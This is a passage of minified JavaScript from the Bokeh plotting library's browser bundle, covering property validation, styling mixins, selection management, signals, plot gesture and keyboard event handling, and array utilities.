c(e){try{return JSON.stringify(e)}catch(t){return e.toString()}}function _(t){return u.isPlainObject(t)&&(void 0===t.value?0:1)+(void 0===t.field?0:1)+(void 0===t.expr?0:1)==1}s.Signal,i.isSpec=_;var p=function(r){function t(t,e,i){var n=r.call(this)||this;return n.obj=t,n.attr=e,n.default_value=i,n.optional=!1,n.obj=t,n.attr=e,n.default_value=i,n.change=new s.Signal0(n.obj,\\\"change\\\"),n._init(),n.connect(n.change,function(){return n._init()}),n}return o.__extends(t,r),t.prototype.update=function(){this._init()},t.prototype.init=function(){},t.prototype.transform=function(t){return t},t.prototype.validate=function(t){},t.prototype.value=function(t){if(void 0===t&&(t=!0),void 0===this.spec.value)throw new Error(\\\"attempted to retrieve property value for property without value specification\\\");var e=this.transform([this.spec.value])[0];return null!=this.spec.transform&&t&&(e=this.spec.transform.compute(e)),e},t.prototype.array=function(t){if(!this.dataspec)throw new Error(\\\"attempted to retrieve property array for non-dataspec property\\\");var e;if(null!=this.spec.field){if(null==(e=this.transform(t.get_column(this.spec.field))))throw new Error(\\\"attempted to retrieve property array for nonexistent field '\\\"+this.spec.field+\\\"'\\\")}else if(null!=this.spec.expr)e=this.transform(this.spec.expr.v_compute(t));else{var i=t.get_length();null==i&&(i=1);var n=this.value(!1);e=l.repeat(n,i)}return null!=this.spec.transform&&(e=this.spec.transform.v_compute(e)),e},t.prototype._init=function(){var t,e=this.obj,i=this.attr,n=e.getv(i);if(void 0===n){var r=this.default_value;n=void 0!==r?r(e):null,e.setv(((t={})[i]=n,t),{silent:!0,defaults:!0})}if(u.isArray(n)?this.spec={value:n}:_(n)?this.spec=n:this.spec={value:n},this.dataspec&&null!=this.spec.field&&!u.isString(this.spec.field))throw new Error(\\\"field value for property '\\\"+i+\\\"' is not a string\\\");null!=this.spec.value&&this.validate(this.spec.value),this.init()},t.prototype.toString=function(){return\\\"Prop(\\\"+this.obj+\\\".\\\"+this.attr+\\\", spec: \\\"+c(this.spec)+\\\")\\\"},t}(s.Signalable());function d(i,n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.validate=function(t){if(!n(t))throw new Error(i+\\\" property '\\\"+this.attr+\\\"' given invalid value: \\\"+c(t))},e}(p)}(i.Property=p).prototype.dataspec=!1;var f=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.simple_prop=d)(\\\"Any\\\",function(t){return!0}));i.Any=f;var v=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Array\\\",function(t){return u.isArray(t)||t instanceof Float64Array}));i.Array=v;var m=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Bool\\\",u.isBoolean));i.Bool=m,i.Boolean=m;var g=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Color\\\",function(t){return u.isString(t)&&(r.is_svg_color(t.toLowerCase())||\\\"#\\\"==t.substring(0,1)||a.valid_rgb(t))}));i.Color=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Instance\\\",function(t){return null!=t.properties}));i.Instance=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return u.isNumber(t)||u.isBoolean(t)}));i.Number=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.Int=b);i.Angle=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"Number\\\",function(t){return(u.isNumber(t)||u.isBoolean(t))&&0<=t&&t<=1}));i.Percent=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(\\\"String\\\",u.isString));i.String=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(i.FontSize=k);function C(t,e){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(d(t,function(t){return l.includes(e,t)}))}i.Font=S;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}((i.enum_prop=C)(\\\"Anchor\\\",n.LegendLocation));i.Anchor=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"AngleUnits\\\",n.AngleUnits));i.AngleUnits=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.transform=function(t){for(var e=new Uint8Array(t.length),i=0;i<t.length;i++)switch(t[i]){case\\\"clock\\\":e[i]=0;break;case\\\"anticlock\\\":e[i]=1}return e},e}(C(\\\"Direction\\\",n.Direction));i.Direction=E;var M=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimension\\\",n.Dimension));i.Dimension=M;var O=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Dimensions\\\",n.Dimensions));i.Dimensions=O;var z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"FontStyle\\\",n.FontStyle));i.FontStyle=z;var P=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LatLon\\\",n.LatLon));i.LatLon=P;var j=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineCap\\\",n.LineCap));i.LineCap=j;var N=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LineJoin\\\",n.LineJoin));i.LineJoin=N;var F=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"LegendLocation\\\",n.LegendLocation));i.LegendLocation=F;var D=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Location\\\",n.Location));i.Location=D;var I=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"OutputBackend\\\",n.OutputBackend));i.OutputBackend=I;var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Orientation\\\",n.Orientation));i.Orientation=R;var B=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"VerticalAlign\\\",n.VerticalAlign));i.VerticalAlign=B;var L=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextAlign\\\",n.TextAlign));i.TextAlign=L;var V=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"TextBaseline\\\",n.TextBaseline));i.TextBaseline=V;var G=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderLevel\\\",n.RenderLevel));i.RenderLevel=G;var U=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"RenderMode\\\",n.RenderMode));i.RenderMode=U;var q=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SizingMode\\\",n.SizingMode));i.SizingMode=q;var Y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"SpatialUnits\\\",n.SpatialUnits));i.SpatialUnits=Y;var X=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"Distribution\\\",n.Distribution));i.Distribution=X;var H=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StepMode\\\",n.StepMode));i.StepMode=H;var W=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"PaddingUnits\\\",n.PaddingUnits));i.PaddingUnits=W;var J=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(C(\\\"StartEnd\\\",n.StartEnd));function Q(i,n,r){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.init=function(){null==this.spec.units&&(this.spec.units=r);var t=this.spec.units;if(!l.includes(n,t))throw new Error(i+\\\" units must be one of \\\"+n+\\\", given invalid value: \\\"+t)},Object.defineProperty(e.prototype,\\\"units\\\",{get:function(){return this.spec.units},set:function(t){this.spec.units=t},enumerable:!0,configurable:!0}),e}(b)}i.StartEnd=J;var $=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.transform=function(t){return\\\"deg\\\"==this.spec.units&&(t=h.map(t,function(t){return t*Math.PI/180})),t=h.map(t,function(t){return-t}),e.prototype.transform.call(this,t)},t}((i.units_prop=Q)(\\\"AngleSpec\\\",n.AngleUnits,\\\"rad\\\"));(i.AngleSpec=$).prototype.dataspec=!0;var K=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(g);(i.ColorSpec=K).prototype.dataspec=!0;var Z=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(Q(\\\"DistanceSpec\\\",n.SpatialUnits,\\\"data\\\"));(i.DistanceSpec=Z).prototype.dataspec=!0;var tt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.FontSizeSpec=tt).prototype.dataspec=!0;var et=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.MarkerSpec=et).prototype.dataspec=!0;var it=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(b);(i.NumberSpec=it).prototype.dataspec=!0;var nt=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e}(k);(i.StringSpec=nt).prototype.dataspec=!0},function(t,e,h){var i=t(15),u=t(32);function n(t,e){var i={};for(var n in t){var r=t[n];i[e+n]=r}return i}var r={line_color:[i.ColorSpec,\\\"black\\\"],line_width:[i.NumberSpec,1],line_alpha:[i.NumberSpec,1],line_join:[i.LineJoin,\\\"bevel\\\"],line_cap:[i.LineCap,\\\"butt\\\"],line_dash:[i.Array,[]],line_dash_offset:[i.Number,0]};h.line=function(t){return void 0===t&&(t=\\\"\\\"),n(r,t)};var o={fill_color:[i.ColorSpec,\\\"gray\\\"],fill_alpha:[i.NumberSpec,1]};h.fill=function(t){return void 0===t&&(t=\\\"\\\"),n(o,t)};var s={text_font:[i.Font,\\\"helvetica\\\"],text_font_size:[i.FontSizeSpec,\\\"12pt\\\"],text_font_style:[i.FontStyle,\\\"normal\\\"],text_color:[i.ColorSpec,\\\"#444444\\\"],text_alpha:[i.NumberSpec,1],text_align:[i.TextAlign,\\\"left\\\"],text_baseline:[i.TextBaseline,\\\"bottom\\\"],text_line_height:[i.Number,1.2]};h.text=function(t){return void 0===t&&(t=\\\"\\\"),n(s,t)},h.create=function(t){for(var e={},i=0,n=t;i<n.length;i++){var r=n[i],o=r.split(\\\":\\\"),s=o[0],a=o[1],l=void 0;switch(s){case\\\"line\\\":l=h.line;break;case\\\"fill\\\":l=h.fill;break;case\\\"text\\\":l=h.text;break;default:throw new Error(\\\"Unknown property mixin kind '\\\"+s+\\\"'\\\")}u.extend(e,l(a))}return e}},function(t,e,i){var n=t(391),r=t(8),o=t(197),p=t(185),d=t(186),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"SelectionManager\\\",this.internal({source:[s.Any]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),this.inspectors={}},e.prototype.select=function(t,e,i,n){void 0===n&&(n=!1);for(var r=[],o=[],s=0,a=t;s<a.length;s++){var l=a[s];l instanceof p.GlyphRendererView?r.push(l):l instanceof d.GraphRendererView&&o.push(l)}for(var h=!1,u=0,c=o;u<c.length;u++){var l=c[u],_=l.model.selection_policy.hit_test(e,l);h=h||l.model.selection_policy.do_selection(_,l.model,i,n)}if(0<r.length){var _=this.source.selection_policy.hit_test(e,r);h=h||this.source.selection_policy.do_selection(_,this.source,i,n)}return h},e.prototype.inspect=function(t,e){var i=!1;if(t instanceof p.GlyphRendererView){var n=t.hit_test(e);if(null!=n){i=!n.is_empty();var r=this.get_or_create_inspector(t.model);r.update(n,!0,!1),this.source.setv({inspected:r},{silent:!0}),this.source.inspect.emit([t,{geometry:e}])}}else if(t instanceof d.GraphRendererView){var n=t.model.inspection_policy.hit_test(e,t);i=i||t.model.inspection_policy.do_inspection(n,e,t,!1,!1)}return i},e.prototype.clear=function(t){this.source.selected.clear(),null!=t&&this.get_or_create_inspector(t.model).clear()},e.prototype.get_or_create_inspector=function(t){return null==this.inspectors[t.id]&&(this.inspectors[t.id]=new o.Selection),this.inspectors[t.id]},e}(r.HasProps);(i.SelectionManager=a).initClass()},function(t,e,i){var n=function(){function t(){this._dev=!1}return Object.defineProperty(t.prototype,\\\"dev\\\",{get:function(){return this._dev},set:function(t){this._dev=t},enumerable:!0,configurable:!0}),t}();i.Settings=n,i.settings=new n},function(t,e,i){var n,r=t(391),o=t(29),s=t(25),a=t(21),l=function(){function t(t,e){this.sender=t,this.name=e}return t.prototype.connect=function(t,e){void 0===e&&(e=null),u.has(this.sender)||u.set(this.sender,[]);var i=u.get(this.sender);if(null!=_(i,this,t,e))return!1;var n=e||t;c.has(n)||c.set(n,[]);var r=c.get(n),o={signal:this,slot:t,context:e};return i.push(o),r.push(o),!0},t.prototype.disconnect=function(t,e){void 0===e&&(e=null);var i=u.get(this.sender);if(null==i||0===i.length)return!1;var n=_(i,this,t,e);if(null==n)return!1;var r=e||t,o=c.get(r);return n.signal=null,d(i),d(o),!0},t.prototype.emit=function(t){for(var e=u.get(this.sender)||[],i=0,n=e;i<n.length;i++){var r=n[i],o=r.signal,s=r.slot,a=r.context;o===this&&s.call(a,t,this.sender)}},t}(),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.emit=function(){t.prototype.emit.call(this,void 0)},e}(i.Signal=l);i.Signal0=h,(n=l=i.Signal||(i.Signal={})).disconnectBetween=function(t,e){var i=u.get(t);if(null!=i&&0!==i.length){var n=c.get(e);if(null!=n&&0!==n.length){for(var r=0,o=n;r<o.length;r++){var s=o[r];if(null==s.signal)return;s.signal.sender===t&&(s.signal=null)}d(i),d(n)}}},n.disconnectSender=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.context||r.slot;r.signal=null,d(c.get(o))}d(e)}},n.disconnectReceiver=function(t){var e=c.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];if(null==r.signal)return;var o=r.signal.sender;r.signal=null,d(u.get(o))}d(e)}},n.disconnectAll=function(t){var e=u.get(t);if(null!=e&&0!==e.length){for(var i=0,n=e;i<n.length;i++){var r=n[i];r.signal=null}d(e)}var o=c.get(t);if(null!=o&&0!==o.length){for(var s=0,a=o;s<a.length;s++){var r=a[s];r.signal=null}d(o)}},i.Signal=l,i.Signalable=function(t){return null!=t?function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r.__extends(e,t),e.prototype.connect=function(t,e){return t.connect(e,this)},e}(t):function(){function t(){}return t.prototype.connect=function(t,e){return t.connect(e,this)},t}()},(i._Signalable||(i._Signalable={})).connect=function(t,e){return t.connect(e,this)};var u=new WeakMap,c=new WeakMap;function _(t,e,i,n){return a.find(t,function(t){return t.signal===e&&t.slot===i&&t.context===n})}var p=new o.Set;function d(t){0===p.size&&s.defer(f),p.add(t)}function f(){p.forEach(function(t){a.removeBy(t,function(t){return null==t.signal})}),p.clear()}},function(t,e,d){var i=t(391),o=t(347),s=t(19),a=t(14),l=t(5),n=t(45),h=t(21),f=t(32),r=t(44),u=t(3);d.is_mobile=\\\"ontouchstart\\\"in window||0<navigator.maxTouchPoints;var c=function(){function t(t,e,i,n){var r=this;this.plot_view=t,this.toolbar=e,this.hit_area=i,this.plot=n,this.pan_start=new s.Signal(this,\\\"pan:start\\\"),this.pan=new s.Signal(this,\\\"pan\\\"),this.pan_end=new s.Signal(this,\\\"pan:end\\\"),this.pinch_start=new s.Signal(this,\\\"pinch:start\\\"),this.pinch=new s.Signal(this,\\\"pinch\\\"),this.pinch_end=new s.Signal(this,\\\"pinch:end\\\"),this.rotate_start=new s.Signal(this,\\\"rotate:start\\\"),this.rotate=new s.Signal(this,\\\"rotate\\\"),this.rotate_end=new s.Signal(this,\\\"rotate:end\\\"),this.tap=new s.Signal(this,\\\"tap\\\"),this.doubletap=new s.Signal(this,\\\"doubletap\\\"),this.press=new s.Signal(this,\\\"press\\\"),this.move_enter=new s.Signal(this,\\\"move:enter\\\"),this.move=new s.Signal(this,\\\"move\\\"),this.move_exit=new s.Signal(this,\\\"move:exit\\\"),this.scroll=new s.Signal(this,\\\"scroll\\\"),this.keydown=new s.Signal(this,\\\"keydown\\\"),this.keyup=new s.Signal(this,\\\"keyup\\\"),this.hammer=new o(this.hit_area),this._configure_hammerjs(),this.hit_area.addEventListener(\\\"mousemove\\\",function(t){return r._mouse_move(t)}),this.hit_area.addEventListener(\\\"mouseenter\\\",function(t){return r._mouse_enter(t)}),this.hit_area.addEventListener(\\\"mouseleave\\\",function(t){return r._mouse_exit(t)}),this.hit_area.addEventListener(\\\"wheel\\\",function(t){return r._mouse_wheel(t)}),document.addEventListener(\\\"keydown\\\",this),document.addEventListener(\\\"keyup\\\",this)}return t.prototype.destroy=function(){this.hammer.destroy(),document.removeEventListener(\\\"keydown\\\",this),document.removeEventListener(\\\"keyup\\\",this)},t.prototype.handleEvent=function(t){\\\"keydown\\\"==t.type?this._key_down(t):\\\"keyup\\\"==t.type&&this._key_up(t)},t.prototype._configure_hammerjs=function(){var e=this;this.hammer.get(\\\"doubletap\\\").recognizeWith(\\\"tap\\\"),this.hammer.get(\\\"tap\\\").requireFailure(\\\"doubletap\\\"),this.hammer.get(\\\"doubletap\\\").dropRequireFailure(\\\"tap\\\"),this.hammer.on(\\\"doubletap\\\",function(t){return e._doubletap(t)}),this.hammer.on(\\\"tap\\\",function(t){return e._tap(t)}),this.hammer.on(\\\"press\\\",function(t){return e._press(t)}),this.hammer.get(\\\"pan\\\").set({direction:o.DIRECTION_ALL}),this.hammer.on(\\\"panstart\\\",function(t){return e._pan_start(t)}),this.hammer.on(\\\"pan\\\",function(t){return e._pan(t)}),this.hammer.on(\\\"panend\\\",function(t){return e._pan_end(t)}),this.hammer.get(\\\"pinch\\\").set({enable:!0}),this.hammer.on(\\\"pinchstart\\\",function(t){return e._pinch_start(t)}),this.hammer.on(\\\"pinch\\\",function(t){return e._pinch(t)}),this.hammer.on(\\\"pinchend\\\",function(t){return e._pinch_end(t)}),this.hammer.get(\\\"rotate\\\").set({enable:!0}),this.hammer.on(\\\"rotatestart\\\",function(t){return e._rotate_start(t)}),this.hammer.on(\\\"rotate\\\",function(t){return e._rotate(t)}),this.hammer.on(\\\"rotateend\\\",function(t){return e._rotate_end(t)})},t.prototype.register_tool=function(i){var n=this,t=i.model.event_type;null!=t&&(r.isString(t)?this._register_tool(i,t):t.forEach(function(t,e){return n._register_tool(i,t,e<1)}))},t.prototype._register_tool=function(t,e,i){void 0===i&&(i=!0);var n=t,r=n.model.id,o=function(e){return function(t){t.id==r&&e(t.e)}},s=function(e){return function(t){e(t.e)}};switch(e){case\\\"pan\\\":null!=n._pan_start&&n.connect(this.pan_start,o(n._pan_start.bind(n))),null!=n._pan&&n.connect(this.pan,o(n._pan.bind(n))),null!=n._pan_end&&n.connect(this.pan_end,o(n._pan_end.bind(n)));break;case\\\"pinch\\\":null!=n._pinch_start&&n.connect(this.pinch_start,o(n._pinch_start.bind(n))),null!=n._pinch&&n.connect(this.pinch,o(n._pinch.bind(n))),null!=n._pinch_end&&n.connect(this.pinch_end,o(n._pinch_end.bind(n)));break;case\\\"rotate\\\":null!=n._rotate_start&&n.connect(this.rotate_start,o(n._rotate_start.bind(n))),null!=n._rotate&&n.connect(this.rotate,o(n._rotate.bind(n))),null!=n._rotate_end&&n.connect(this.rotate_end,o(n._rotate_end.bind(n)));break;case\\\"move\\\":null!=n._move_enter&&n.connect(this.move_enter,o(n._move_enter.bind(n))),null!=n._move&&n.connect(this.move,o(n._move.bind(n))),null!=n._move_exit&&n.connect(this.move_exit,o(n._move_exit.bind(n)));break;case\\\"tap\\\":null!=n._tap&&n.connect(this.tap,o(n._tap.bind(n)));break;case\\\"press\\\":null!=n._press&&n.connect(this.press,o(n._press.bind(n)));break;case\\\"scroll\\\":null!=n._scroll&&n.connect(this.scroll,o(n._scroll.bind(n)));break;default:throw new Error(\\\"unsupported event_type: \\\"+e)}i&&(null!=n._doubletap&&n.connect(this.doubletap,s(n._doubletap.bind(n))),null!=n._keydown&&n.connect(this.keydown,s(n._keydown.bind(n))),null!=n._keyup&&n.connect(this.keyup,s(n._keyup.bind(n))),d.is_mobile&&null!=n._scroll&&\\\"pinch\\\"==e&&(a.logger.debug(\\\"Registering scroll on touch screen\\\"),n.connect(this.scroll,o(n._scroll.bind(n)))))},t.prototype._hit_test_renderers=function(t,e){for(var i=this.plot_view.get_renderer_views(),n=0,r=h.reversed(i);n<r.length;n++){var o=r[n],s=o.model.level;if((\\\"annotation\\\"==s||\\\"overlay\\\"==s)&&null!=o.interactive_hit&&o.interactive_hit(t,e))return o}return null},t.prototype._hit_test_frame=function(t,e){return this.plot_view.frame.bbox.contains(t,e)},t.prototype._hit_test_canvas=function(t,e){return this.plot_view.canvas.bbox.contains(t,e)},t.prototype._trigger=function(e,i,t){var n=this,r=this.toolbar.gestures,o=e.name,s=o.split(\\\":\\\")[0],a=this._hit_test_renderers(i.sx,i.sy),l=this._hit_test_canvas(i.sx,i.sy);switch(s){case\\\"move\\\":var h=r[s].active;null!=h&&this.trigger(e,i,h.id);var u=this.toolbar.inspectors.filter(function(t){return t.active}),c=\\\"default\\\";null!=a?(c=a.cursor(i.sx,i.sy)||c,f.isEmpty(u)||(e=this.move_exit,o=e.name)):this._hit_test_frame(i.sx,i.sy)&&(f.isEmpty(u)||(c=\\\"crosshair\\\")),this.plot_view.set_cursor(c),this.plot_view.set_toolbar_visibility(l),u.map(function(t){return n.trigger(e,i,t.id)});break;case\\\"tap\\\":var _=t.target;if(null!=_&&_!=this.hit_area)return;null!=a&&null!=a.on_hit&&a.on_hit(i.sx,i.sy);var h=r[s].active;null!=h&&this.trigger(e,i,h.id);break;case\\\"scroll\\\":var p=d.is_mobile?\\\"pinch\\\":\\\"scroll\\\",h=r[p].active;null!=h&&(t.preventDefault(),t.stopPropagation(),this.trigger(e,i,h.id));break;default:var h=r[s].active;null!=h&&this.trigger(e,i,h.id)}this._trigger_bokeh_event(i)},t.prototype.trigger=function(t,e,i){void 0===i&&(i=null),t.emit({id:i,e:e})},t.prototype._trigger_bokeh_event=function(t){var e=u.BokehEvent.event_class(t);null!=e?this.plot.trigger_event(e.from_event(t)):a.logger.debug(\\\"Unhandled event of type \\\"+t.type)},t.prototype._get_sxy=function(t){var e,i=(e=t,\\\"undefined\\\"!=typeof TouchEvent&&e instanceof TouchEvent?(0!=t.touches.length?t.touches:t.changedTouches)[0]:t),n=i.pageX,r=i.pageY,o=l.offset(this.hit_area),s=o.left,a=o.top;return{sx:n-s,sy:r-a}},t.prototype._gesture_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{deltaX:t.deltaX,deltaY:t.deltaY,scale:t.scale,shiftKey:t.srcEvent.shiftKey})},t.prototype._tap_event=function(t){return i.__assign({type:t.type},this._get_sxy(t.srcEvent),{shiftKey:t.srcEvent.shiftKey})},t.prototype._move_event=function(t){return i.__assign({type:t.type},this._get_sxy(t))},t.prototype._scroll_event=function(t){return i.__assign({type:t.type},this._get_sxy(t),{delta:n.getDeltaY(t)})},t.prototype._key_event=function(t){return{type:t.type,keyCode:t.keyCode}},t.prototype._pan_start=function(t){var e=this._gesture_event(t);e.sx-=t.deltaX,e.sy-=t.deltaY,this._trigger(this.pan_start,e,t.srcEvent)},t.prototype._pan=function(t){this._trigger(this.pan,this._gesture_event(t),t.srcEvent)},t.prototype._pan_end=function(t){this._trigger(this.pan_end,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_start=function(t){this._trigger(this.pinch_start,this._gesture_event(t),t.srcEvent)},t.prototype._pinch=function(t){this._trigger(this.pinch,this._gesture_event(t),t.srcEvent)},t.prototype._pinch_end=function(t){this._trigger(this.pinch_end,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_start=function(t){this._trigger(this.rotate_start,this._gesture_event(t),t.srcEvent)},t.prototype._rotate=function(t){this._trigger(this.rotate,this._gesture_event(t),t.srcEvent)},t.prototype._rotate_end=function(t){this._trigger(this.rotate_end,this._gesture_event(t),t.srcEvent)},t.prototype._tap=function(t){this._trigger(this.tap,this._tap_event(t),t.srcEvent)},t.prototype._doubletap=function(t){var e=this._tap_event(t);this._trigger_bokeh_event(e),this.trigger(this.doubletap,e)},t.prototype._press=function(t){this._trigger(this.press,this._tap_event(t),t.srcEvent)},t.prototype._mouse_enter=function(t){this._trigger(this.move_enter,this._move_event(t),t)},t.prototype._mouse_move=function(t){this._trigger(this.move,this._move_event(t),t)},t.prototype._mouse_exit=function(t){this._trigger(this.move_exit,this._move_event(t),t)},t.prototype._mouse_wheel=function(t){this._trigger(this.scroll,this._scroll_event(t),t)},t.prototype._key_down=function(t){this.trigger(this.keydown,this._key_event(t))},t.prototype._key_up=function(t){this.trigger(this.keyup,this._key_event(t))},t}();d.UIEvents=c},function(t,e,n){var o=t(31),u=t(23),i=t(22);n.min=i.min,n.minBy=i.minBy,n.max=i.max,n.maxBy=i.maxBy,n.sum=i.sum;var r=Array.prototype.slice;function s(t){var e;return(e=[]).concat.apply(e,t)}function c(t,e){return-1!==t.indexOf(e)}function a(t,e,i){void 0===i&&(i=1),u.assert(0<i,\\\"'step' must be a positive number\\\"),null==e&&(e=t,t=0);for(var n=Math.max,r=Math.ceil,o=Math.abs,s=t<=e?i:-i,a=n(r(o(e-t)/i),0),l=Array(a),h=0;h<a;h++,t+=s)l[h]=t;return l}function l(r){return function(t,e){for(var i=t.length,n=0<r?0:i-1;0<=n&&n<i;n+=r)if(e(t[n]))return n;return-1}}function h(t){for(var e=[],i=0,n=t;i<n.length;i++){var r=n[i];c(e,r)||e.push(r)}return e}n.head=function(t){return t[0]},n.tail=function(t){return t[t.length-1]},n.last=function(t){return t[t.length-1]},n.copy=function(t){return r.call(t)},n.concat=s,n.includes=c,n.contains=c,n.nth=function(t,e){return t[0<=e?e:t.length+e]},n.zip=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=0;r<i;r++)n[r]=[t[r],e[r]];return n},n.unzip=function(t){for(var e,i=t.length,n=new Array(i),r=new Array(i),o=0;o<i;o++)e=t[o],n[o]=e[0],r[o]=e[1];return[n,r]},n.range=a,n.linspace=function(t,e,i){void 0===i&&(i=100);for(var n=(e-t)/(i-1),r=new Array(i),o=0;o<i;o++)r[o]=t+n*o;return r},n.transpose=function(t){for(var e=t.length,i=t[0].length,n=[],r=0;r<i;r++){n[r]=[];for(var o=0;o<e;o++)n[r][o]=t[o][r]}return n},n.cumsum=function(t){var n=[];return t.reduce(function(t,e,i){return n[i]=t+e},0),n},n.argmin=function(e){return i.minBy(a(e.length),function(t){return e[t]})},n.argmax=function(e){return i.maxBy(a(e.length),function(t){return e[t]})},n.all=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(!e(r))return!1}return!0},n.any=function(t,e){for(var i=0,n=t;i<n.length;i++){var r=n[i];if(e(r))return!0}return!1},n.findIndex=l(1),n.findLastIndex=l(-1),n.find=function(t,e){var i=n.findIndex(t,e);return-1==i?void 0:t[i]},n.findLast=function(t,e){var i=n.findLastIndex(t,e);return-1==i?void 0:t[i]},n.sortedIndex=function(t,e){for(var i=0,n=t.length;i<n;){var r=Math.floor((i+n)/2);t[r]<e?i=r+1:n=r}return i},n.sortBy=function(t,i){var e=t.map(function(t,e){return{value:t,index:e,key:i(t)}});return e.sort(function(t,e){var i=t.key,n=e.key;if(i!==n){if(n<i||void 0===i)return 1;if(i<n||void 0===n)return-1}return t.index-e.index}),e.map(function(t){return t.value})},n.uniq=h,n.uniqBy=function(t,e){for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=e(s);c(n,a)||(n.push(a),i.push(s))}return i},n.union=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return h(s(t))},n.intersection=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=[];t:for(var r=0,o=t;r<o.length;r++){var s=o[r];if(!c(n,s)){for(var a=0,l=e;a<l.length;a++){var h=l[a];if(!c(h,s))continue t}n.push(s)}}return n},n.difference=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=s(e);return t.filter(function(t){return!c(n,t)})},n.removeBy=function(t,e){for(var i=0;i<t.length;)e(t[i])?t.splice(i,1):i++},n.shuffle=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++){var r=o.randomIn(0,n);r!==n&&(i[n]=i[r]),i[r]=t[n]}return i},n.pairwise=function(t,e){for(var i=t.length,n=new Array(i-1),r=0;r<i-1;r++)n[r]=e(t[r],t[r+1]);return n},n.reversed=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++)i[e-n-1]=t[n];return i},n.repeat=function(t,e){for(var i=new Array(e),n=0;n<e;n++)i[n]=t;return i}},function(t,e,i){function n(t,e,i){for(var 